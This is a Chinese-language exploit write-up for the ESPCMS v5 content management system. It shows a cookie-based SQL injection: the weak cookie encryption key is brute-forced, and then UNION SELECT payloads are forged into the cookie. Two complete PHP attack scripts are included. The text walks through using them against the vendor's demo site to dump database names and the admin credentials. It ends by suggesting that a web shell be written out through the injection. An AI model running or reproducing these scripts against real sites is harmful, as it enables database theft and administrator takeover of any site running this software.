漏洞分析:
interface\membermain.php 第 33行:
$db_sql = "SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id ";
疑似存在int 注入漏洞,继续跟进 public\class_connector.php 第 415 行:
function member_purview($userrank = false, $url = null, $upurl = false) {
........
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));
list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;
.......
}
直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数——eccode,在public\class_function.php 第179 行:
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
$result = '';
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
此函数式是可逆的,只需要找出key——即系统中的db_pscode,继续跟进 db_pscode 生成 install\fun_center.php 第 238 行:
$pscode = rand('99', '999'); $config .= "define('db_pscode', '" . md5(md5($pscode)) . "');\r\n";
没有利用点,再看下 cookies中 ecisp_member_info的生成文件 interface\member.php 第 110 行:
$this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]
|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));
用户id、名称、邮箱等等信息对于攻击者都是可获取的,枚举99到999 的key来匹配这些信息,计算出key之后即可以操作cookie传入任意sql语句。
利用代码:
<?php
@ini_set('memory_limit','-1');
set_time_limit(0);
if ($argc < 5)
{
Msg("Example: php $argv[0] abc 123 1@2.com UZJZpmJKYZmRr4JZnmGBraGaaZJezwm6dl5huZZmXaZJklZ_DyJdkkmyYmm_JZ2ScYMqVlJjdbWlkaGeXyMaWl2eTnpiXw2Rja8WaaJuTamtkmJXJmJY",0);
}else{
for($i=99;$i<=999;$i++){
$key=md5(md5($i));
msg("Test $i :".$key);
$admin_ClassURL=md5("http://".$argv[1]."/");
$temp='am2x4Wizl7SvwqXL1MulqpKmk5OnmNeucWlpZmpncWtutW6cbmeda26aaeLHmcqalWlimmtpk2NqmJWcaGaaZmtvbslvZ8pomsVix-KbyGZjZmiVb5Wbk3CTlGpslZtjanFqnW9wn55pxZiclw';
$real_cookie_info=eccode($temp,'DECODE',$key);
if($real_cookie_info){
if(strpos($real_cookie_info,$argv[2]) && strpos($real_cookie_info,$argv[3]) && strpos($real_cookie_info,$admin_ClassURL)){
msg("The Key Is :".$key);
break;
}
}
}
}
function msg($str,$type=1){
$str=($type) ? "[+]".$str : "[-]".$str;
echo $str."\r\n";
}
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
$result = '';
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
?>
利用演示:
以官方演示站为例,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927。
先实验下 select user()
Member_info 的明文为1 and 1=2 union select 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
Eccode解密:php espcms_v5_getsql.php。
espcms_v5_getsql.php代码:
<?php
@ini_set('memory_limit','-1');
set_time_limit(0);
//$sql_exp=" 1 and 1=2 union select 1,2,3,(select concat(username,CHAR(0x7c),password) from espdemo_admin_member limit 1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";
$sql_exp=" 1 and 1=2 union select 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";
//$key="dd6e0480f1d7a982463de3b3c9abb218";
$key="95e87f86a2ffde5110e93c2823634927";
file_put_contents("sql_exp.txt",eccode($sql_exp, 'ENCODE',$key));
msg("Generate exploit succed > sql_exp.txt");
function msg($str,$type=1){
$str=($type) ? "[+]".$str : "[-]".$str;
echo $str."\r\n";
}
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
$result = '';
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
?>
编辑cookies 传入注入语句:
刷新下会员中心 http://目标网站/index.php?ac=membermain&at=editinfo
爆出数据,测试可行,查询数据库:
$sql_exp=
" 1 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28"
;
得到当前数据库为 espcmsdemo,再查询表前缀:
select table_name from information_schema.tables where table_schema=0x657370636D7364656D6F limit 1
然后查管理员用户名和密码,得到管理员用户名和密码并解密md5后,即可登陆后台。
Tips:如果找不到后台,可以试试注入导出shell,爆绝对路径地址:interface/3gwap_search.php。